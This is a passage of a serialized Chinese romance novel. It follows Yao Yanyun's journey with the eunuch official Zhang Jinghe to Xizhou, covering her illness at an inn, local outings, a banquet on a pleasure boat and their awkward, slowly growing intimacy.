姚砚云心里不服气,暗自嘀咕,马冬梅跟着去,怎么就影响他办事了?多少大家小姐出门,丫鬟仆妇一大堆呢,她不过是想带一个,怎么就过分了? 她眼珠一转,换了个理由,语气软了下来:“公公您想啊,到时候见官员,我总得穿得体面些,好好打扮一番才不丢您的脸。可我笨手笨脚的,自己不会梳头挽髻,没人伺候怎么行?” “这有何难?”,张景和道,“到了西州,我让人给你请个梳头婆子便是,保准合你心意。” 姚砚云不死心,又试着商量:“那我带小元去行不行?小元手脚麻利,也不会给您添麻烦的。” 张景和抬手,修长的手指比出一个“不”的手势,语气斩钉截铁:“不行。” 见姚砚云垮着一张脸,满脸失落,他又补充了一句:“你放心好了,三喜会跟着你去。” 姚砚云: 谁要三喜跟着啊!她在心里翻了个大大的白眼!三喜又不能陪她去逛街去玩耍,三喜也不会跟她聊些闺中密话,三喜又不能时时刻刻和她呆在一起,三喜这个人事也多,平日出门里还管东管西,总是和她说,这也不许,那也不准。 “去收拾吧。”,张景和说完,没再多言,转身便径直出了踏月轩。 说是收拾行李,其实也简单。不过是拣几套体面些的衣裳,再带上胭脂水粉、手帕梳篦这些日常用度便够了。至于银钱,张景和有的是,哪里用得着她操心。 翌日天刚蒙蒙亮,张府大门外已备好车马。两辆四马拖拽的主马车居中,两侧各跟着一辆轻便小马车,看着低调不张扬。 虽说“盐税使”巡视西州是奉了圣上旨意,名义上是监督盐务,但本质带着几分微服私访的意味,不宜太过铺张。只是那四十名身着亮银盔甲、腰佩利刃的侍卫,还有十位身着飞鱼服、腰挎绣春刀的锦衣卫,个个身姿挺拔、气势凛然,实在太过耀眼,让人无法忽视。 等随行人员、行囊物件都安置妥当,姚砚云才从踏月轩缓缓走出。马冬梅和小元不舍的跟在后面,一路送她到府门口。 姚砚云来到这边这么久,日日与马冬梅形影不离,从未分开过片刻,此刻要出发西州,心里难免生出几分不舍。她拉着马冬梅的手,低声叮嘱着日常琐事,正说得热闹,张景和已迈步过来催促:“该出发了。” 姚砚云只好住了口,在马冬梅的搀扶下踏上主马车。刚一掀帘入内,一股暖意便扑面而来——车厢角落里摆着一个小巧的炭炉,炉火烧得正旺,座位下方还嵌着一个暖脚炉,摸上去温热舒适。她顺势坐下,浑身的寒气瞬间被驱散,整个人都暖融融的。 因为要赶路,起得太早,姚砚云本就带着几分困意,此刻靠在柔软的坐垫上,眼皮愈发沉重。好在这车厢布置得极为豪华贴心,后侧竟还隔出了一方小榻,铺着厚实的褥子,枕头被褥也一应俱全。她打了个哈欠,索性起身挪到榻上,拉过被子裹住身子,不多时便昏昏沉沉睡了过去。 张景和与为首的侍卫仔细交代完行程安排、沿途警戒等事宜,又转身来到姚砚云的马车旁。他本想叮嘱她,若是困倦,便在车里先睡一会儿,不必强撑。 可刚推开马车车门,便见姚砚云侧躺着,双腿/。夹着被子,眉头微微舒展开,呼吸均匀绵长,显然已经睡得香甜。 张景和: 不多时,随着一声清脆的马鞭声,车队缓缓启动,朝着城外方向行去。 目的地——西州。 第65章 车队沿途共歇了三回驿站,一来为马匹添草加料,二来也让众人歇脚吃饭、稍作休整。 旅途沉闷无趣,姚砚云便斜倚在车中翻看画本。看得倦了,便在榻上合眼小憩。再次睁眼时,天色已全然暗了下来,车队恰好驶入一处驿站,今夜便在此落脚歇息。 姚砚云刚下车,张景和便迎了上来,看着她说了一句:“上车。” 她不免诧异:“我们今晚不宿在这里?” “这驿站挤下侍卫们都勉强。”,张景和解释道,“我们回城住客栈。” 驿站本就狭小,再者姚砚云一个女子,与一众护卫同院而居终究不妥。所以随行的五十名护卫及其他人员留在此处,张景和、姚砚云与三喜吉祥则另寻客栈。 为了方便照料马匹,张景和临时改乘小轿进城。 姚砚云好奇,对着那群人高马大的护卫打量了许久。张景和伸手将她的头转了回来:“别瞎看,上车。” 这回两人同乘一轿,面对面坐着。姚砚云睡了大半天,精神正好,不觉疲惫,只腹中有些饥饿。 她见张景和似是极为困乏,一进轿厢便倚着壁板睡了过去,并未与她搭话,她也识相地不开口说话。 到了客栈,吉祥已订下四间上等客房。为免打扰,他索性包下了整层,这一层便只有他们四人居住。 住宿安排也是吉祥精心斟酌过的——左侧头两间留给张景和与姚砚云,他与三喜则住最末两间,既方便照应,又互不干扰。 姚砚云刚进自己的房间,便闻到一股淡淡的熏香,屋内陈设雅致干净。她放下随身的小包袱,往床上一趟,肚子饿得咕咕叫,没过多久,吉祥就来敲门,说是可以用晚饭了。 吉祥引着姚砚云走进一间包间,四周显然早已清过场,安静得没有一丝杂声。门外立着的客栈老板,一眼便知是摸清了张景和的身份,那股客气恭敬劲儿,热络得让姚砚云都快起了鸡皮疙瘩。 老板先看向已落座的张景和,躬身哈腰道:“小的实在不知有您这般大人物驾临,若是早知晓,必定提前好生准备。” 见张景和连眼皮都未抬一下,他又连忙转向姚砚云,指着桌上的菜献殷勤:“姑娘,这是小店的招牌——松鼠鳜鱼和燕窝鸡丝汤,您尝尝鲜,看看合不合口味?这” “行了行了,下去吧。”,张景和不耐地打断他。 老板连忙陪笑应着,轻手轻脚退了出去。 公公,那我可动筷子了?“,姚砚云实在饿得发慌,路上几乎没正经吃什么东西,此刻望着满桌佳肴,口水都快溢出来,也顾不上拘谨,拿起筷子就夹了一筷菜送进嘴里。 张景和见她吃得津津有味的样子,也动起筷子吃了起来。 吃了两口,姚砚云忽然抬头:“公公,跟您吃饭时,能说话吗?” 她虽与他共吃过几次饭,但每次张景和都埋头干饭,能不吭声便不吭声,这一路要同行半个月,往后少不了一起吃饭,她怕自己万一忍不住多嘴,他又发疯怎么办。 张景和抬眸看了她一眼:“你现在不是在说吗?” 姚砚云喝了一口汤:“那我明白了,我不说就是了。” “想说便说。”,张景和淡淡补了一句。 姚砚云偏不说。 可沉默没片刻,她还是忍不住偷偷打量他,在驿站时,她就发现他似乎精神不太好,难不成是有段路,太过颠簸,他的头又开始痛了? 犹豫了一下,她还是问出口:“您是不是头痛了?” 张景和低低“嗯”了一声。 姚砚云当即道:“那等会吃完,我帮您按按吧。” 用完饭,两人一同去了张景和的房间。他在太师椅上坐定,姚砚云搬来一张小板凳,在他身后稳稳坐下。 没按几下,张景和就睡着了,他的双手放松地搭在椅把上,姚砚云看着他这双,又白又细长的漂亮手,竟然鬼使神差地想摸一把! 可意识到自己有这个想法时,她又觉得自己不会是个变态吧?就在她左右脑互博要不要这么干时,食指指腹已轻轻在他白皙的手背上点了一x下,像羽毛拂过般轻柔。 点完后,她又把头转向张景和,确认他此刻还是睡着的。 那触感软软的、微凉的,就那么一瞬,倒也没摸出什么特别的滋味,却让她心跳莫名快了半拍。 她忽然想起,前几日马冬梅和她说的话。 马冬梅说,她最近对张景和的态度不一样了。 姚砚云问她:“从哪里看出来的啊” 马冬梅说:“你以前总是骂张公公是傻逼太监,最近你都没骂了。” 姚砚云想着想着,竟然觉得有点好笑,是她变了吗? 等张景和醒来,姚砚云问了句,确认他头痛缓解了些,便起身回了隔壁自己的屋子。 明日一早还要赶车,洗漱完毕便打算歇息。刚准备吹灭桌上的烛火,门外忽然传来轻轻的敲门声。 姚砚云起身开门,见三喜端着一碗热气腾腾的汤药站在门口:“姚姑娘,该喝药了。” 鼻尖萦绕着熟悉的苦涩药香,姚砚云这才反应过来,是她每晚睡前必喝的补药。她心里忽然一暖,只觉三喜这人竟这般贴心,甚至比马冬梅还要细心,她收拾行囊时,倒是想起过这药,一来觉得补药断几日无妨,二来嫌出门在外携带麻烦,便索性抛到了脑后,没想到竟有人替她记着。 她接过药碗,笑着夸了一句:“算你还有点良心。” 三喜抓了抓后脑勺,有些不好意思地挠挠头:“不是我想起来的,是吉祥公公吩咐我带的,说姑娘每晚都得喝这个。” 姚砚云: 翌日卯时中,姚砚云迷迷糊糊睁开眼,只觉身下一片湿热黏腻。她猛地坐起身,低头一看,床单上已洇开一大片暗红血迹,再瞧自己的中裤中衣,亦是污了大半。 她来月事了 昨日从驿站来客栈,只想着住一晚便走,她贪图方便,只带了一套替换中衣,哪里会特意备着经布,她急得在屋里踱了两步,一股热流又顺着腿根滑下 她匆忙披上大氅,想去找三喜,让他找客栈的婆子来帮忙。可走到房外一看,三喜和吉祥的房间早已空无一人,想来是先一步去驿站打理了。正焦灼间,又一股热流涌出,她只得赶紧折回房内,急得手心都冒了汗。 恰在此时,门外传来张景和的敲门声,语气催促:“收拾好了便出来,吃完早饭即刻赶路。” 姚砚云隔着门急声道:“公公,您问问掌柜的,这客栈里可有婆子?能不能叫一个上来?” 张景和语气不解:“无需梳头,你抓紧些。” “不是梳头!”,姚砚云声音都带了点哭腔,“是急事,您就帮帮我吧!” 张景和以为她在耍小性子,便没有理她,只是留下一句:“一刻钟后,就要出发了,你赶紧。” 姚砚云以为他终究是应下了,便在屋里忐忑等着。可一刻钟过去,别说婆子,连半点动静都没有。正当她焦躁不安时,房门被直接推开,张景和走了进来。 他一进门,便见姚砚云正慌慌张张地扯着衣服遮挡下身,脸色涨得通红。 “磨磨蹭蹭做什么?”,张景和皱眉,伸手便要去拉她,“该走了。” 姚砚云猛地往后一躲,急道:“婆子呢?您没找吗?” “都说了不用梳头。”,张景和瞧着她这副模样,只觉得莫名其妙,“你这样便挺好看的,真不用梳头,赶紧动身。” 姚砚云扭捏着挤出一句:“我不去。” 张景和道:“姚砚云,你又想给我闹事是吧?”,说着就要抓她的手走。 “我来月事了!”,姚砚云再也顾不得羞耻,红着脸喊了出来。 张景和先是一愣,目光扫过她沾了血迹的衣角,又想起她方才遮挡的动作,这才反应过来是怎么回事。他猛地别过脸,耳根竟悄悄泛了红,语气也乱了几分:“那……那你这样,是要做什么?” 姚砚云又羞又急,眼眶都红了:“所以我才叫你找婆子过来,您还问问问!我和您说不明白!” 她抬眼瞪了张景和一眼,见他还傻站在原地纹丝不动,急得声音都拔高了些:“您还愣着做什么?快去啊!” 张景和在宫里多年,接触过不少嫔妃,大约知道她此时的情况了。 他深吸一口气,憋出一句:“姚砚云,你真是我的祖宗!”,说罢,便转身快步下楼,直奔掌柜的而去,让他赶紧找个稳妥的婆子上来。 此时天色尚早,不少铺子还没开门,好在那婆子那边恰好备着新的、未曾用过的经布。等婆子帮着姚砚云收拾妥当,她才松了口气,匆匆下楼。 经过这么一闹,姚砚云早已没了吃早饭的心思,只叫小二用油纸包了两个热乎的肉包,便低着头快步上了马车,靠着车厢角落默默等着出发。 张景和上车后,见她一脸的不开心,便问:“这是怎么了?” 姚砚云依旧别着脸不肯理他,心里只觉得丢人丢到家了,这张脸算是彻底没了——她当初就不该一时糊涂,答应张景和这趟西州之行! 到了驿站,马车刚一停稳,姚砚云便推开车门,头也不回地直奔自己早已安置好的那部马车走去,自始至终,连一个眼神都未曾分给身后的张景和。 张景和望着她赌气般匆匆离去的纤细背影,低声说了一句:“看来,我这是真的带了个祖宗出门!” 第66章 西州 夜色渐浓,车队入城后,张景和一行便由当地官员引至一处名为“雅园”的府邸安置。府中规制清雅,除了留守护卫,其余随行人员皆另行安排了住处。 翌日天刚亮,张景和便出门去了,整一日,姚砚云都未曾见着他的身影。 雅园里早已备下八个丫鬟伺候,其中两个分派给了姚砚云。 晨起时分,一个名叫花花的丫鬟端着食盒进来,屈膝跪在地上行礼,声音脆生生的,带着几分江南女子的软糯:“姑娘,奴婢叫花花,往后这段时日,便由奴婢贴身伺候你。” 姚砚云抬手让她起来,忽然小腹里的坠痛又涌上来,她实在没力气多说话,只淡淡吩咐了句:“放下吧。” 花花应声起身,手脚麻利地将食盒里的粥菜摆到桌上,一碗温热的莲子百合粥,一碟清炒时蔬,还有两碟精致的小菜,一碟酱瓜,一碟腌笋,都是江南风味的清淡吃食。待她摆好退出去,姚砚云才撑着身子挪到桌边,勉强舀了几口粥送进嘴里。 寡淡的滋味顺着喉咙滑下,却压不住腹间的隐痛。她吃了没几口便没了胃口,又让花花把三喜唤来。 “姚姑娘,”,三喜把张景和交代的话说了一遍,“老爷吩咐了,你若是想出府逛逛,由房里两位姐姐陪着,再带上两个护卫同行便是,不必顾虑。” “老爷还说了,姑娘你想买什么就买什么,钱已经放下了。” 姚砚云问了一句:“真的?” 三喜点了点头,语气笃定:“老爷从来不骗人。” 来西州之前,姚砚云还是期待过的,想着既到了这江南胜地,总得好好游历一番。可此刻腹中空坠作痛,那点游兴早已被驱散大半:“我今日怕是出不得门了,你若想四处转转,自去便是。” 三喜应声退下,姚砚云刚躺回内室的软榻,花花便轻手轻脚地进来了,主动搭话:“姚姑娘,西州的西淮河畔最是有名,尤其是夜里乘画舫夜游,水波映着两岸灯笼,红彤彤一片的,可好看了,还有昆曲戏船顺流而过。等姑娘身子好些,可以同张大人一道去转转。” 姚砚云闻言,心头微动。她在京师时,夜里城门一关,街巷便一片沉寂,哪有这般热闹,腹间的痛感似是轻了些,她抬眼问:“除了西淮河,还有别的好去处吗?” “可多了!”,花花眼睛亮了亮,凑近了些说,“城北的宣武湖,这几日早结了厚冰,好多公子小姐都去那边玩冰床。那冰床是木板做的,底下嵌着细铁条,几个人拉着绳儿往前跑,坐在上面跟飞似的,还有人会在冰上摆茶摊,玩累了就喝杯热茶,男女老少都凑在一块儿,热闹的很。” ““冰床?”,姚砚云听得新奇,作为一个南方人,她从未见过这般玩法,眉梢不自觉染上几分笑意,眼神也一下子亮了起来,“被你这么一说,倒真想去瞧瞧,听着就很好玩的样子。” 花花又补了一句:“姑娘和张大人来得正巧,再过五日,西淮河上要办鱼灯盛会,那才是一年里最热x闹的时候呢,到时候,巨大的鱼灯有半人高,由小伙子们举着,在街头巷尾游来游去,亮得能照见人影,家家户户也会扎了各色小鱼灯放到河里,满河都是星星点点的光。还能猜灯谜、赢小玩意儿,可比平日里热闹十倍。” “对了对了,到了夜里,河面上还会放烟花呢!” 姚砚云听着,只觉得花花口齿伶俐,说话又鲜活有趣,实在讨人喜欢。她随手从锦囊里摸出一块碎银,打赏给她。 花花眼睛瞬间笑成了弯月,连忙双手接过,躬身谢道:“谢谢姑娘赏赐!那奴婢先下去了,不打扰姑娘歇息,你有任何吩咐,随时唤我便是。” 到了夜里,姚砚云的腹痛竟好了七八分。她本就不是能闲得住的性子,这会儿身上轻快了,便按捺不住想出去转转的心思。花花先前说的西淮河、宣武湖都远了些,她便想着先去就近的地方逛逛。 姚砚云唤来花花,问她附近可有好去处。花花本是当地官员特意挑选来雅园服侍的,性情活络,又熟稔本地风物,自然能说会道。 “姑娘,离雅园不远有条‘曲乐街’”,花花见她有了出游的兴致,忙凑上前笑着回话,“那条街专做小酒、听曲的营生,里头既有昆曲的雅调,唱的都是《牡丹亭》《西厢记》的选段,也有江南小调的脆生,比如《茉莉花》那样的曲子,热闹得很。就算不喝酒,进去找个靠窗的位置听两段,看看街上的灯火,也是不错的。” 话音刚落,三喜立马反对:“姑娘,有酒的地方鱼龙混杂,还是别去了,回头老爷知道了要生气的。” 姚砚云: 她就知道带三喜来,没什么好果子吃。 花花见状,连忙补了个主意:“那姑娘要不要去南头小巷的夜市看看,那边都是卖小吃、杂货的,规模不算大,却胜在烟火气足,热热闹闹的正好散心。” 姚砚云点头应下,一行人便往南头小巷去了。身后跟着两个便装护卫,身姿笔挺如松,面无表情地跟在几步开外,活脱脱两尊木头桩子。姚砚云起初还有些不自在,被人这样“盯着”逛街总觉得拘束,可转念一想,这也是张景和的吩咐,便只好装作若无其事,只管往前逛。 路上听三喜一说才知道,这两位护卫原是亲兄弟,兄长叫方州,弟弟叫方彦。姚砚云这才恍然,怪不得两人眉眼神态这般相似。 南头小巷的小吃琳琅满目,没多久的功夫,糖画,蜜饯,馓子,油炸臭干,豆腐涝,炸酥肉,炸春卷,葱油饼,姚砚云带着一行人尝了个遍。 她意犹未尽,还想再试试别的,方州、方彦两兄弟却实在撑得不行,连声摆手:“姑娘自便就好,我们两兄弟就算了。” 姚砚云也懒得理他们了,带着三喜和花花,兴冲冲地朝着另一个飘着香气的小吃摊快步走去。 这晚玩得尽兴,谁知第二日天刚亮,姚砚云腹间又传来一阵钻心的绞痛,比前一日更甚几分。她疼得蜷缩回床上,连忙让花花快去准备汤婆子,一口气塞了四个在被窝里,层层暖意裹着身子,却依旧压不住那阵一阵的坠痛。 她早知道原身身子孱弱,可每次月事来袭的痛感,还是能把她折磨得死去活来。 疼得浑身冒冷汗的间隙,姚砚云猛地想起,从到西州至今,已经是第二日了。她竟然连张景和的影子都没见到! 他这是什么意思?千里迢迢把自己骗到这里,难道就是为了让自己在这雅园里躺着受半月罪?她在哪里不能躺,非要巴巴地赶来这里遭这份罪! 一股无名火陡然窜上心头,他分明就是单纯想折磨自己!而他自己呢,此刻说不定正搂着哪个娇俏美人,在西淮河的画舫上把酒言欢,听着软糯的昆曲,惬意得很! 她真真是悔不当初——就不该来! 直到第三日,张景和才终于回了雅园。前两日他忙着巡察盐场,盐场离雅园路途遥远,为了尽早把差事办完,他索性宿在盐场附近,省得来回奔波耽搁功夫。 刚踏入庭院,就见两个打扮得格外体面的丫鬟款款走来。她们身着淡粉色绫罗裙,鬓边簪着小巧的珠花,眉眼间带着刻意训练过的温婉笑意,显然是当地官员特意准备好的。 张景和对此早已见怪不怪,但凡品阶稍高的官员到外地公干,地方官总会这般“周到”,送些容貌出挑、手脚伶俐的丫鬟来“伺候”。名义上是照料起居,实则不过是想借机攀附讨好,彼此心照不宣罢了。 他面无表情地摆了摆手,示意她们退下,无需上前伺候。一路奔波本就疲惫,他便在厅堂的榻上眯了一小会儿,稍作歇息。 花花见他回来,连忙把姚砚云这两日身体不适、痛得难起身的事说了。 张景和闻言,就调头往姚砚云的寝室走去。此时天还黑着,夜色未褪,想来她还未醒来。他站在寝门外,指尖悬在门环上,犹豫了许久不知道应不应该进去。 直接推门进去,于礼不合,若是叫醒她,又怕扰了她歇息。 思忖半晌,他终究还是收回了手,悄无声息地转身离开,这一趟回雅园,他待了不足半个时辰,便又坐着马车匆匆离去。 路上,他又回想起着丫鬟和他说的话,说她昨日疼的下不了床。心里忽然涌上一阵悔意。他就不应该凭着自己的私欲,把她千里迢迢带到西州来,更不该因为自己的小肚鸡肠,不让马冬梅跟着过来照料她。 他其实早该想到,她哪里是愿意来的?不过是碍于他的身份,不敢违抗罢了。 吉祥也在车内,见他神色凝重,便小心翼翼禀道:“老爷,邱大人派人来递了话,说明晚在西淮河的画舫上设了宴,特意为你接风洗尘。他知道你带了家眷同行,还特意吩咐,若是你方便,便派人去雅园接姚姑娘一同赴宴,也好让姑娘尝尝江南风味,你看这事……” 张景和想也没想便回绝:“她不去,你回了邱大人,不必安排。” 那画舫之上,酒肉混杂,鱼龙混杂,哪里是她该去的地方?他才不愿让她沾染那些俗气。 话音刚落,张景和又揉了揉眉心,暗自头痛,明晚这宴,怕是又免不了要喝上不少酒了—— 作者有话说:明晚10点半见 第67章 西淮河畔的夜色里,一艘四层画舫静静停泊,鎏金船身映着两岸红灯笼的光晕,愈发显得富丽堂皇。这艘名为“浣曲舟”的画舫,是西州地面上最大也最奢华的一艘,雕梁画栋间缀着珍珠串成的帘幕,船檐下悬挂的宫灯随风轻摇。 寻常百姓连靠近的资格都没有,平日里只招待达官贵人与富商巨贾,而今晚,画舫的最高层,早已被人提前包下,专候诸位大人赴宴。 宴席上觥筹交错,酒香混着桌上珍馐的香气弥漫在包间里。喝酒是免不了的,你来我往间,气氛早已推至高/。潮,别说主位上的张景和,连吉祥在另外一侧的包间都被灌了不少酒,此刻脸颊通红,醉得眼神发直,趴在桌边昏昏欲睡。 包间内共坐了七位大人,皆是西州及周边的实权官员。起初还正经聊着盐场巡察、地方治理的公事,酒过三巡,话题渐渐跑偏。男人凑在一起,酒酣耳热之际,难免谈及些风月俗事,言语间也多了几分放浪。 在场的七位大人中,已有四位身侧伴着娇俏的歌姬,或执壶添酒,或轻声唱曲,软语温言地奉承着,更添了几分暧昧奢靡的氛围。 邱大人是今晚的东道,又要主持大局,故而刻意留了几分清醒,未曾多饮。他见张景和醉得头重脚轻,便起身走到他身侧坐下,亲自为他斟了杯温热的茶水,笑道:“张公公,小的听闻你此番是携了家眷同来的?这几日你忙着盐场的差事,脚不沾地的,想来姚姑娘在府中定是闷坏了。” 他话锋一转,提议道:“西州的风光美丽,西淮河、宣武湖都是难得的景致。不如明日让内人亲自登门,陪着姚姑娘四处转转,也好解解闷,你看如何?” 张景和醉得厉害,脑子昏沉得厉害,闻言勉强抬了抬眼,说话都有些支支吾吾,舌头打了结:“邱大人……你倒是有心了。你的好意我心领了……”,他摆了摆手,语气虽含糊,态度却很明确,“不必麻烦邱夫人了,回头……这些我自会安排。” 邱大人见状,也知他此刻醉意正x浓,不便再多说,便笑着点了点头,顺势岔开了话题,没再提及此事。 随后,他起身拍了拍手,对着众人朗声道:“诸位大人,酒喝得也尽兴了,不如先喝口茶醒醒神。稍后,船板上已备好了歌舞表演,都是当地最美的歌姬,唱的是最地道的昆曲小调,保管诸位尽兴!” 话音刚落,包间内便响起一阵附和的笑声,方才的醉意似乎也被这即将到来的歌舞勾起了兴致,众人纷纷端起茶杯,静待表演开场。 姚砚云的腹痛总算在第三日彻底好了。躺了一整天的她,实在按捺不住出门的心思,傍晚时分便带着花花等人出了雅园,在西淮河畔找了一家临窗的酒楼吃了晚饭,饭后便沿着河岸慢慢散步,想好好看看这江南夜色。 走到半路,忽然见河畔围了一群人,个个仰头望着前方停泊的画舫,低声议论着,脸上满是期待。 见那么多人,姚砚云问:“这些人在看什么热闹呀。” 花花顺着众人的目光望去,眼睛一亮,凑近姚砚云道:“姑娘,这些人都在等‘浣曲舟’上的表演呢!这画舫是西州最大最奢华的,里面的歌舞姬不管是长相还是才艺,都是百里挑一的,寻常百姓平日里根本没机会见到。今晚定是有大人物在船上设宴,才会对外开放表演让岸上的人看个热闹。” 姚砚云爱看美人,闻言来了兴致:“哦?竟有这般绝色?那我们也停下来看看吧。” 话音刚落,画舫上忽然响起一阵悠扬的丝竹声,笛箫婉转,琵琶轻弹,瞬间压过了岸上的嘈杂。 紧接着,船板上的珠帘被轻轻掀开,一群身着玲珑纱裙的歌姬款款走出,纱裙薄如蝉翼,裙摆绣着银线花纹,在灯火下泛着微光,身姿袅袅,宛如月下仙子。 最引人注目的是站在中间的歌姬,她眉眼如画,唇不点而朱,嘴里竟还叼着一支艳红的玫瑰花,花瓣鲜嫩欲滴,在夜色里格外扎眼。 画舫距离岸边本就不远,此刻灯火通明,姚砚云望着那些容貌倾城、舞姿曼妙的歌姬,不禁在心里感叹:果然是一个比一个美,难怪能让这么多人驻足围观。 又一阵音乐流转,歌舞表演渐渐步入尾声。船上的美人们接连退去,岸上的人群也带着意犹未尽的神色慢慢散去。 姚砚云正准备转身离开,目光却不经意间扫一个熟悉的身影。起初还以为自己看错了——毕竟夜色虽有灯火,终究隔着一段距离。可她定了定神,再仔细一看,那身形、那平日里常穿的大氅,分明就是张景和! 真了不起,果然是日日笙歌,美女环绕,好不快活! 她看着画舫上的那个身影,只见他微微斜倚着窗棂,手里竟还捏着一支玫瑰花,正是方才那位歌姬叼着的那支!还低头将那玫瑰凑到鼻尖,像狗一样闻来闻去。 真是不要脸!还说怕别人给他送女人,如今看来是嫌送少了吧。 姚砚云实在没眼看,拉着花花转身就走。 喝了酒吃了饭,看了表演,画舫上的各位大人都陆续告辞了。 张景和今晚依旧住在外边,转念一想,又吩咐马夫先回雅园一趟。 他已经三天没见过她了,路上他还在琢磨,这时候她该还没睡吧?到了门口,发现房门是半开着的。 看来确实没睡。他推门走了进去,只见姚砚云半躺在榻上,手里还捧着一本书。 张景和走上前,拿起榻边的话本一瞥,封面上赫然写着几个大字——《豆腐西施与县太爷》。 天天看的都是什么玩意! 既然来了,便和她说几句话吧。他伸出手,轻轻拍了拍她的肩膀:“姚砚云,太阳都要晒屁/。股了。” 见她没反应,又补了一句:“醒醒?” 姚砚云迷迷糊糊间,先闻到一股浓重的酒味。起初只是轻飘飘一阵,后来那股酒气越来越近,仿佛就在眼前。 她慢慢睁开眼,意识还未完全清醒,竟看到一张红得像关公一样的脸,正笑眯眯地盯着自己。 “死变态!” 她下意识地抬脚一踹,一下子就把张景和踹出了好几步远。 “姚砚云,你好大的胆子!”,张景和狼狈地撑着身子想起来,忽然又“哎呦”一声,腰腹传来一阵酸痛,又跌坐回去。 姚砚云这才彻底清醒过来,见状连忙上前去扶:“公公,您没事吧,我,我不是故意的!” 她小心翼翼地把他扶到旁边的凳子上坐下,心里暗想,没想到自己力气这么大,竟然能把人踢飞。 还好踢的是他的肚子,屁股先落地,要是踢到其他位置,头先落地,那她真的死定了。 姚砚云有些心虚地解释:“公公您进来怎么不敲门啊?您一身酒气的突然出现,我还以为遇到坏人了。” 张景和气得脸都绿了,一边揉着腰一边咬牙道:“呵呵,我看你就是故意的!谋杀朝廷命官,可是要砍头的!” 姚砚云道:“我真不是有意的,要不我帮您按一按。” 说着,她便伸手想去摸他的腰。指尖刚触碰到他的衣料,张景和的身子瞬间僵直了,一股酥酥麻麻的触感顺着腰腹蔓延开来,让他莫名有些不自在。 “不用你。”,他猛地推开了她的手。 姚砚云见他一直“哎呀”叫着,想着帮他按按能缓解些疼痛,按腰和按肩膀本也没什么区别。可看他反应这么激动,想来是很介意吧。她又不会占他便宜,不愿意就算了。 姚砚云收回手,小声道:“那我不按了。” 她抬头,正好对上张景和阴沉的目光。 沉默片刻,张景和忽然开口:“姚砚云,你可是个女子,这般明目张胆地来按我的腰,就这般无所谓?你是因着什么,才敢这般肆无忌惮?” 姚砚云一愣,看到了他难看的脸色,瞬间听出了话外之音,他是觉得自己不把他当男人,伤了他的自尊心。 可他虽然的确不是真男人,她心里一直是把他当寻常男子看待的啊。 她连忙解释:“公公,我真没别的意思,就是您是被我踢到的腰,我怕您疼得厉害,才想着帮您按按缓一缓。” 张景和冷笑一声:“是吗?原来我在你心里这么有地位啊。” 姚砚云认真琢磨了一下,道:“也不能说有地位,只是有点不一样。” “哪里不一样?”,张景和问。 姚砚云脱口而出:“假如是三喜摔到腰了,就算他痛死,我也不会帮他按的。” 张景和嗤道:“你拿我和三喜比?” 姚砚云道:“那就算是吉祥公公痛死了,我也不会帮他按的。” 张景和: 空气静了一瞬,他忽然扯了下嘴角:“既然如此,那我帮你按如何?舟车劳顿到西州,想来也累坏了吧?” 姚砚云以为自己听错了,眨了眨眼:“公公,您这话是什么意思?” 张景和道:“我说,我帮你按!” 姚砚云勉强挤出一丝笑,连忙推辞:“公公您的手金贵着呢,是伺候皇上的,怎么能屈尊伺候我这种凡夫俗子?万万使不得。” 张景和道:“我愿意!” “你是要躺着,还是坐着呢?” 姚砚云一下子就懵住了,他不会来真的吧他现在又醉着酒,那他万一按着按着,想干别的事情怎么办,虽然他也干不成什么事情,可万一他真的想干呢?这屋子里就他们两人孤男寡女,到时候自己叫天天不灵,叫地地不灵。 张景和见她迟疑,又催了一句:“怎么?难道我这双手能伺候皇上,还伺候不了你?” 话音未落,他的手竟真的覆了上来,落在她的腰侧,脸上还带着几分莫名的得意:“说吧,躺着还是坐着?” 这下轮到姚砚云浑身不自在了。她身上只穿了件里衣,外面不过披了件小披肩,张景和的手掌直接穿过了披肩贴了上来,她甚至感觉到了他手里滚烫的触感。 她的腰身下意识地往旁边挪了挪,想避开那滚烫的触感,实在没法再推脱,只能硬着头皮应道:“那、那去床上/。按吧!” 说完她便起身,可刚一站起来,整个身子不受控制地晃了晃。张景和见状,下意识地伸手去扶,可他喝了酒,手脚有些发软,没能接稳。姚砚云重心不稳,整个人直直地撞进他怀里,两人一同倒在了桌面上,桌上的茶杯瞬间x掉落,“哐当”一声摔在地上,碎成了几片。 姚砚云半个身子都趴在他身上,她摸着自己的头:“我大概是有些水土不服,我好晕啊,也不知道是不是病了。” 这突如其来的撞/。击,让张景和瞬间僵住,感受着身前人明显的曲线,一种陌生又强烈的感觉瞬间席卷全身,她这次只穿了薄薄的衣裳,这次的感觉比在静安寺那时的感觉更为真实。 原来女子那地方的触感,竟是这般不同…… 她明明看着清瘦,却是这般的 他心头一跳,连忙回过神,猛地将姚砚云推开,伸手把她拉到旁边的凳子上坐好:“晕你就早点睡吧!” 说完,他起身大步走到门口,拉开房门,头也不回地快步离去,连门都忘了关。 姚砚云看着他离去的背影,这才松一口气。 第68章 姚砚云正带着花花在热闹的街道上闲逛,耳边满是叫卖声与笑语,忽然手腕一紧,一股力道将她猛地拽到了街边角落。 “您、您怎么会在这里?”,她猝不及防,抬头看清来人,眼底满是诧异。 张景和道:“这条街又不是你开的,你能来,我怎么不能来?” 今日是他来西州的第五日,缠身的事务总算告一段落,才算得了半日空闲。 姚砚云抬眼打量他,见他穿的仍是上次那件水蓝色夹绒领夹衣,阳光洒在他脸上,衬得肌肤愈发白净清隽,倒不似个公公,反倒像个温文尔雅的书生。 她淡淡“哦”了一声,收回目光,转身就想继续往前走,想去找花花。 张景和见状,又快步上前拉住她的衣袖,语气软了些:“难得遇上,一起转一转?” 听他这么说,姚砚云才后知后觉地发现,身旁的三喜和花花竟不见了踪影。想来是方才瞧见张景和,被吓跑了吧。 “走吧,”,张景和顺势松开手,语气轻快,“想要什么,都给你买。” 两人并肩汇入人流,姚砚云忽然停下脚步,一脸认真地看向他:“那您能给我送一座宅子吗?西州山清水秀的,我挺喜欢这儿。” 张景和想也没想就拒绝:“那不行。” 姚砚云立刻皱起眉:“您不是说什么都给我买啊。” 张景和道:“这里离京师千里迢迢,你买来做什么。” “我又不是一辈子都呆在京师。”,姚砚云望着街边的热闹景色,语气认真,“要真想选个定居的地方,这边就很好啊。” 张景和停下脚步,深深看了她一眼:“你别想了。” 姚砚云心里打了个突,不明白他说的是别想从他手里要到宅子,还是别想离开京师。 